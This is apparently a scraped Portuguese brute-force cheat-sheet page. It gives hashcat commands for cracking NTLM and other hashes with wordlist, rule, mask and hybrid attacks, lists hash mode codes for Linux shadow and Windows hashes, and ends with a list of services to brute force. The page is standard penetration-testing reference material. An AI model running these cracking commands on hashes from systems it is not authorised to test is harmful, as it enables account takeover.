Ataque de lista de palavras (-a 0) com regras

Hashcat já vem com uma pasta contendo regras mas você pode encontrar outras regras interessantes aqui.

hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule

Ataque de combinação de listas de palavras

É possível combinar 2 listas de palavras em 1 com o hashcat.
Se a lista 1 contiver a palavra "hello" e a segunda contiver 2 linhas com as palavras "world" e "earth". As palavras helloworld e helloearth serão geradas.

# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt

# Same attack as before but adding chars in the newly generated words
# In the previous example this will generate:
## hello-world!
## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!

Ataque de máscara (-a 3)

# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d

hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff

# Mask attack declaring custom charset
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.

# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask

Ataque de Wordlist + Máscara (-a 6) / Ataque de Máscara + Wordlist (-a 7)

# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d

# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt

Modos do Hashcat

hashcat --example-hashes | grep -B1 -A2 "NTLM"

Quebrando Hashes do Linux - arquivo /etc/shadow

500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems

Quebrando Hashes do Windows

3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems

Quebra de Hashes de Aplicativos Comuns

Ao realizar testes de penetração, é comum encontrar hashes de senhas em aplicativos e sistemas. Para tentar quebrar esses hashes e obter as senhas originais, uma técnica comum é o ataque de força bruta. Nesse tipo de ataque, o hacker tenta todas as combinações possíveis de caracteres até encontrar a senha correta que corresponde ao hash.

Existem várias ferramentas disponíveis que podem ser usadas para realizar ataques de força bruta em hashes de senhas. Alguns exemplos populares incluem o Hashcat, John the Ripper e o Hydra. Essas ferramentas são altamente configuráveis e podem ser ajustadas para lidar com diferentes tipos de hashes e algoritmos de criptografia.

É importante ressaltar que a quebra de hashes por força bruta pode ser um processo demorado, especialmente se as senhas forem complexas e longas. Além disso, é fundamental garantir que esse tipo de atividade seja realizada apenas em sistemas e aplicativos nos quais você tenha permissão explícita para testar a segurança.

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash

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47 KiB Raw Blame History Unescape Escape

Brute Force - CheatSheet

Credenciais Padrão

Crie seus próprios Dicionários

Crunch

Cewl

CUPP

Wister

pydictor

Listas de Palavras

Serviços

AFP

AJP

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

Cassandra

CouchDB

Registro do Docker

Elasticsearch

FTP

Brute Force Genérico HTTP

WFuzz

Autenticação Básica HTTP

HTTP - NTLM

Brute Force Attack

HTTP - Post Form

Brute Force

Dictionary Attack

Hybrid Attack

Rainbow Table Attack

Credential Stuffing

HTTP - CMS -- (W)ordpress, (J)oomla or (D)rupal or (M)oodle

IMAP

IRC

Brute Force

ISCSI

JWT

LDAP

MQTT

Brute Force

Prevention

Mongo

MSSQL

Brute Force

MySQL

OracleSQL

Brute Force

Prevention

POP

Brute Force

Tools

Countermeasures

PostgreSQL

PPTP

RDP

Redis

Rexec

Rexec

Rlogin

Rsh

Rsync

RTSP

SFTP

SNMP

SMB

SMTP

SMTP

SOCKS

SQL Server

Brute Force

SSH

SSH

Chaves SSH fracas / Debian PRNG previsível

STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

Telnet

VNC

Brute Force

Winrm

Local

Bancos de dados de quebra online

ZIP

47 KiB

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